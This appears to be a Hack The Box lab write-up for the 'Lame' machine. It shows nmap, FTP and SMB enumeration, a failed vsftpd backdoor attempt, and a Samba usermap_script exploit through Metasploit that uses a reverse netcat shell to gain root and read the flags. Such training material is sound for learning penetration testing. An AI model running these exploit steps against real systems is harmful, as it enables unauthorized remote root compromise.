



HACKTHEBOX

[LAME- BOX]

Hi folks, today I am going to solve an Easy rated hack the box machine which was released on 14 Mar 2017 as the first machine on HTB, Lame created by ch4p. So without any further intro, let's jump in.

common enumeration

Nmap

Ftp and ssh

Samba

*Unix Debian

code-nmap

```
nmap -sV -sC -oA nmap/lame 10.10.10.3
```

Output

```
> nmap -sV -sC -oA nmap/lame 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-03 17:52 EAT
Nmap scan report for 10.10.10.3
Host is up (0.35s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|  STAT:
|  FTP server status:
|    Connected to 10.10.14.4
|    Logged in as ftp
|    TYPE: ASCII
|    No session bandwidth limit
|    Session timeout in seconds is 300
|    Control connection is plain text
|    Data connections will be plain text
|    vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|  1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
|_  139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

```

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-03 17:52 EAT
Nmap scan report for 10.10.10.3
Host is up (0.35s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 10.10.14.4
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   vsFTPD 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name:
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_ System time: 2024-08-03T10:53:46-04:00
|_clock-skew: mean: 2h00m24s, deviation: 2h49m45s, median: 21s
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 90.74 seconds

```

looking at the results we find that they are 5 ports open and its a unix Samba 3.0.20 Debian machine.

port[21]-ftp
port[22]-ssh
port[139]-netbios-ssn
port[445]-netbios-ssn

NB - We note that the ftp is version vsftpd 2.3.4 and allows Anonymous login. We then connect to the server to see if we can enumerate something. With anonymous:anonymous

FTP

code

```
ftp 10.10.10.3
```

output

```
> ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:leshack): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||55645|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> |
```

We see that there is no files to enumerate, so we look up for potential vulnerabilities of version 2.3.4 of the service.

code

```
searchsploit ftp 2.3.4
```

output

```
> searchsploit ftp 2.3.4
```

Exploit Title	Path
CrushFTP < 11.1.0 - Directory Traversal	multiple/remote/52012.py
Ipswitch WS_FTP Professional < 12.6.0.3 - Local Buffer Overflow (SEH)	windows/dos/43115.py
Nokia Affix < 3.2.0 - btftp Remote Client	hardware/remote/1081.c
Nutanix AOS & Prism < 5.5.5 (LTS) / < 5.8.1 (STS) - SFTP Authentication Bypass	multiple/remote/45748.py
OpenBSD 2.x < 2.8 FTPd - 'glob()' Remote Buffer Overflow	openbsd/remote/20733.c
OpenSSH < 6.6 SFTP (x64) - Command Execution	linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution	linux/remote/45001.py
PyroBatchFTP < 3.19 - Buffer Overflow	windows/dos/43548.txt
RhinoSoft Serv-U FTP Server < 5.2 - Remote Denial of Service	windows/dos/463.c
RhinoSoft Serv-U FTPd Server < 4.2 - Remote Buffer Overflow (Metasploit)	windows/remote/18190.rb
Ruby < 2.2.8 / < 2.3.5 / < 2.4.2 / < 2.5.0-preview1 - 'NET::FTP' Command Injection	ruby/local/43381.md
Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (1)	linux/local/47009.c
Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2)	multiple/local/47173.sh
Sysax Multi Server < 5.25 (SFTP Module) - Multiple Denial of Service Vulnerabilities	windows/dos/13958.txt
VicFTP < 5.0 - 'CWD' Remote Buffer Overflow (PoC)	windows/dos/3331.c
vsftpd 2.3.4 - Backdoor Command Execution	unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)	unix/remote/17491.rb

```
Shellcodes: No Results
Papers: No Results
```

We learn that the version is vulnerable to a `backdoor` and can be exploited using `metasploit` and a `python` Script I will illustrate the two exploits. Let's examine the two exploits we can be able to copy the exploits to our working directories so that we can be able to access it easily.

Metasploit

code

```
searchsploit -m 17491
```

output

```
> searchsploit -m 17491
Exploit: vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
URL: https://www.exploit-db.com/exploits/17491
Path: /usr/share/exploitdb/exploits/unix/remote/17491.rb
Codes: OSVDB-73573, CVE-2011-2523
Verified: True
File Type: Ruby script, ASCII text
Copied to: /home/leshack/project/HTB/Linux/Linux-Easy/Lame/17491.rb
```

lets examine the exploit to see how we can enumerate this server

code

```
searchsploit 17491 --examine
```

output

```
> searchsploit 17491 --examine
Exploit: vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
URL: https://www.exploit-db.com/exploits/17491
Path: /usr/share/exploitdb/exploits/unix/remote/17491.rb
Codes: OSVDB-73573, CVE-2011-2523
Verified: True
File Type: Ruby script, ASCII text
```

```
def initialize(info = {})
  super(update_info(info,
    'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution',
    'Description' => %q{
      This module exploits a malicious
      backdoor that was added to the VSFTPD download archive. This backdoor was
      introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July
      1st 2011 according to the most recent information available. This backdoor was
      removed on July 3rd 2011.
    },
    'Author' => [ 'hdm', 'mc' ],
    'License' => MSF_LICENSE,
    'Version' => '$Revision: 13099 $',
    'References' =>
```

This Vulnerability was assigned a [CVE-2011-2523](#) so lets exploit with metasploit.

We the launch metasploit console

code

```
msfconsole
```

Then we select the `vsftpd_234_backdoor` and select relevant parameters;

code

```
search ftp 2.3.4
use 0
options
set RHOSTS 10.10.10.3
```

output

```
msf6 > search ftp 2.3.4

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
--  ---                                     -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPd v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  CHOST      -                no        The local client address
  CPORT      -                no        The local client port
  Proxies    -                no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     10.10.10.3       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
anonymous
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > anonymous
[-] Unknown command: anonymous. Run the help command for more details.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

The exploit failed to land a shell so we move on to the next service .

SMB

We enumerate `smb` service using `smbmap` `samba 3.0.20` is running on the target

code

```
smbmap -H 10.10.10.3
```

output

```
~/project/HTB/Linux/Linux-Easy/Lame at 19:39:36
> smbmap -H 10.10.10.3

SMBMap - Samba Share Enumerator v1.10.2 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.10.3:445 Name: 10.10.10.3 Status: Authenticated
Disk Permissions Comment
----
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
opt NO ACCESS
IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
```

We learn that we have `read/write` access on the `tmp` share. We access the share using `smbclient`'s anonymous login.

code

```
smbclient -N \\\10.10.10.3\\tmp
```

output

```
~/project/HTB/Linux/Linux-Easy/Lame at 19:48:02
> smbclient -N \\\10.10.10.3\\tmp
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
.          D          0 Sat Aug 3 19:48:31 2024
..         DR         0 Sat Oct 31 09:33:58 2020
.ICE-unix  DH          0 Sat Aug 3 17:43:38 2024
vmware-root DR         0 Sat Aug 3 17:44:18 2024
5543.jsvc_up R          0 Sat Aug 3 17:44:38 2024
.X11-unix  DH          0 Sat Aug 3 17:44:02 2024
.X0-lock   HR         11 Sat Aug 3 17:44:02 2024
vgaauthsvclog.txt.0 R        1600 Sat Aug 3 17:43:36 2024

7282168 blocks of size 1024. 5386544 blocks available
smb: \> |
```

But do not see anything of interest. We then use searchsploit to find the vulnerability of samba `3.0.20`

Foothold

code

```
searchsploit samba 3.0.20
```

output

```
~/project/HTB/Linux/Linux-Easy/Lame at 19:54:37
> searchsploit samba 3.0.20

-----
Exploit Title | Path
-----|-----
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
-----
Shellcodes: No Results
Papers: No Results

~/project/HTB/Linux/Linux-Easy/Lame at 19:54:53
```

lets use metasploit exploit as we see an interesting entry of Remote code Execution (RCE) Vulnerability to exploit the service.

```
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution
(Metasploit) | unix/remote/16320.rb
```

The Vulnerability allowing this exploit was assigned [CVE-2007-2447](#) and stems from the MS-RPC functionality in `smbd` . This functionality allows remote attackers to execute arbitrary commands via shell metacharacters involving the `samChangePassword` function when the `username map script` option is enabled in `smb .conf` . Additionally it allows remote authenitcated user to execute commands via shell metacharacters involving MS-RPC function in the remote printer and file share management.

We lanch the Metasploit once again to search the module and execute the exploit.

code

```
msfconsole
```

Then we select `exploit/multi/samba/usermap_script` and select relevant parameters

code

```
search samba 3.0.20
use 0
options
set RHOSTS 10.10.10.3
set LHOSTS 10.10.14.4
```

output


```

msf6 > search samba 3.0.20

Matching Modules
=====

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/multi/samba/usermap_script  2007-05-14      excellent No      Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):

Name      Current Setting  Required  Description
----      -
CHOST      -                no        The local client address
CPORT      -                no        The local client port
Proxies    -                no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     -                yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

```

To use the module, we must set RHOSTS to the target IP address and LHOST to our machine's tun0 IP address.

A listener is started on the designated port, and shortly afterwards, we get a callback, landing us a shell on the target system as the root user.

output

```

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.14.4
LHOST => 10.10.14.4
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 10.10.14.4:4444
[*] Command shell session 1 opened (10.10.14.4:4444 -> 10.10.10.3:38532) at 2024-08-03 20:38:21 +0300

id
uid=0(root) gid=0(root)

```

We successful pwnd the box we can now locate the user flag from /home/makis/

```

id
uid=0(root) gid=0(root)
cat /home/makis/user.txt

```

and the root flag from /root/root.txt

```

id
uid=0(root) gid=0(root)
id
uid=0(root) gid=0(root)
cat /root/root.txt

```

-----END successful attack @lesley-----